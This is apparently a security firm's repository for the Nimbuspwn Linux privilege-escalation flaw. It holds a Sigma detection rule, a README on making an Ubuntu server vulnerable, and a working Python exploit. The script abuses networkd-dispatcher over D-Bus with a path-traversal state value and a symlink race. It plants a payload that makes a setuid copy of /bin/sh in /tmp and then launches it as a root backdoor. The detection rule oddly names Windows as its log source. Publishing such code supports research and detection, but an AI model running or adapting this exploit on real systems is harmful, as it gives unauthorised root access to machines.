├── nimbuspwn-sigma.yml ├── README.md └── nimbuspwn.py /nimbuspwn-sigma.yml: -------------------------------------------------------------------------------- 1 | title: Nimbuspwn file creation 2 | id: 2575b186-36ef-486f-bc0c-5a85d3cfa513 3 | status: experimental 4 | description: Detects file creation related to nimbuspwn poc 5 | author: Kev Breen Immersive Labs 6 | date: 2022/04/29 7 | logsource: 8 | category: file_event 9 | product: windows 10 | detection: 11 | file_create: 12 | EventCode: 11 13 | selection: 14 | TargetFilename|endswith: 15 | - '/arp' 16 | - '/route' 17 | - '/init' 18 | - '/usermod' 19 | - '/visudo' 20 | - '/wpa_supplicant' 21 | tmpdir: 22 | TargetFilename|startswith: 23 | - '/tmp/' 24 | condition: file_create and tmpdir and selection 25 | fields: 26 | - Image 27 | falsepositives: 28 | - Unknown at this time. 29 | level: high -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # nimbuspwn 2 | 3 | This is a PoC for Nimbuspwn, as originally described in https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/ 4 | 5 | It runs reliably on Ubuntu Desktop installs, but does not run by default on Ubuntu Server installs. It is possible to configure a server install to be vulnerable, although this is not expected to be a common configuration. 6 | 7 | ## Making an AWS Instance Vulnerable 8 | 9 | This vulnerability is generally not present in pure `systemd-networkd` based systems, since in that case, the legitimate `systemd-networkd` process will be holding the required D-Bus name. However, it is present where attempts have been made to disable `systemd-networkd`, for example using scripts such as https://gist.github.com/polrus/772618cfead9c1b63b246584024d7765, which enables `NetworkManager` for Ubuntu Server installs. 10 | 11 | ### Commands 12 | 13 | ```` 14 | sudo apt update 15 | sudo apt -y install network-manager 16 | sudo nano /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg 17 | Add content: "network: {config: disabled}" and save 18 | sudo nano /etc/netplan/50-cloud-init.yaml 19 | Add "renderer: NetworkManager" to "network:" block 20 | sudo netplan generate 21 | sudo netplan apply 22 | sudo systemctl enable NetworkManager.service 23 | sudo systemctl restart NetworkManager.service 24 | sudo systemctl disable systemd-networkd 25 | ```` 26 | 27 | # Detection 28 | To aid detection of this specific poc we have released a sigma rule. It should be noted that this sigma rule is specific to our poc code and may not detect all possible exploit attempts. 29 | 30 | # License 31 | 32 | Permission is hereby granted, free of charge, to any person obtaining a copy 33 | of this software and associated documentation files (the "Software"), to deal 34 | in the Software without restriction, including without limitation the rights 35 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 36 | copies of the Software, and to permit persons to whom the Software is 37 | furnished to do so, subject to the following conditions: 38 | 39 | The above copyright notice and this permission notice shall be included in all 40 | copies or substantial portions of the Software. 41 | 42 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 43 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 44 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 45 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 46 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 47 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 48 | SOFTWARE. 49 | -------------------------------------------------------------------------------- /nimbuspwn.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2022 Will Roberts, Immersive Labs 2 | # https://github.com/Immersive-Labs-Sec/nimbuspwn 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | 11 | # The above copyright notice and this permission notice shall be included in all 12 | # copies or substantial portions of the Software. 13 | 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 20 | # SOFTWARE. 21 | 22 | import dbus 23 | import dbus.service 24 | import dbus.mainloop.glib 25 | 26 | import os 27 | import shutil 28 | import time 29 | import random 30 | 31 | 32 | PAYLOAD = """#!/bin/sh 33 | cp /bin/sh /tmp/sh 34 | chmod 4777 /tmp/sh 35 | """ 36 | 37 | 38 | class Exploit(dbus.service.Object): 39 | def __init__(self, conn, dirname): 40 | dbus.service.Object.__init__(self, conn, "/org/freedesktop/network1/link/_32") 41 | self.PropertiesChanged( 42 | "org.freedesktop.network1.Link", 43 | { 44 | "OperationalState": f"../../..{dirname}/poc", 45 | "AdministrativeState": str(random.randint(0, 100000)) 46 | }, 47 | "a") 48 | 49 | @dbus.service.signal(dbus_interface='org.freedesktop.network1.PropertiesChanged') 50 | def PropertiesChanged(self, test1, test2, test3): 51 | pass 52 | 53 | 54 | def trigger_signal(dirname): 55 | dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) 56 | 57 | system_bus = dbus.SystemBus() 58 | name = dbus.service.BusName('org.freedesktop.network1', system_bus) 59 | o = Exploit(system_bus, dirname) 60 | o.remove_from_connection() 61 | 62 | 63 | def prepare_directory(dirname): 64 | os.mkdir(f"{dirname}") 65 | 66 | if not os.path.exists(f"{dirname}"): 67 | print("Error making directory") 68 | exit(-1) 69 | 70 | os.symlink("/sbin", f"{dirname}/poc.d", True) 71 | 72 | if not os.path.exists(f"{dirname}/poc.d"): 73 | print("Error symlinking /sbin") 74 | exit(-1) 75 | 76 | 77 | def symlink_executables(dirname): 78 | path = "" 79 | files = [] 80 | executables = [] 81 | 82 | for p, _, filenames in os.walk("/sbin"): 83 | path = p 84 | for filename in filenames: 85 | files.append(filename) 86 | 87 | for f in files: 88 | fullpath = f"{path}/{f}" 89 | if not os.access(fullpath, os.X_OK): 90 | continue 91 | 92 | if not os.stat(fullpath).st_uid == 0: 93 | continue 94 | 95 | executables.append(f) 96 | 97 | for exe in executables: 98 | fullpath = f"{dirname}/{exe}" 99 | with open(fullpath, "w+") as f: 100 | f.write(PAYLOAD) 101 | os.chmod(fullpath, 0o777) 102 | 103 | 104 | def change_symlink(dirname): 105 | os.remove(f"{dirname}/poc.d") 106 | os.symlink(f"{dirname}", f"{dirname}/poc.d", True) 107 | 108 | 109 | def clean_up(dirname): 110 | shutil.rmtree(f"{dirname}") 111 | 112 | 113 | if __name__ == '__main__': 114 | for i in range(10): 115 | dirname = f"/tmp/nimbuspwn{random.randint(0,10000)}" 116 | 117 | print(f"[*] Attempt no. {i+1}...") 118 | try: 119 | prepare_directory(dirname) 120 | symlink_executables(dirname) 121 | 122 | time.sleep(1) 123 | 124 | trigger_signal(dirname) 125 | change_symlink(dirname) 126 | 127 | time.sleep(1) 128 | 129 | clean_up(dirname) 130 | except Exception as e: 131 | print(f"Error: {str(e)}") 132 | clean_up(dirname) 133 | 134 | if os.path.exists("/tmp/sh"): 135 | print("[!] Root backdoor obtained! Executing...") 136 | os.system("/tmp/sh -p") 137 | break 138 | --------------------------------------------------------------------------------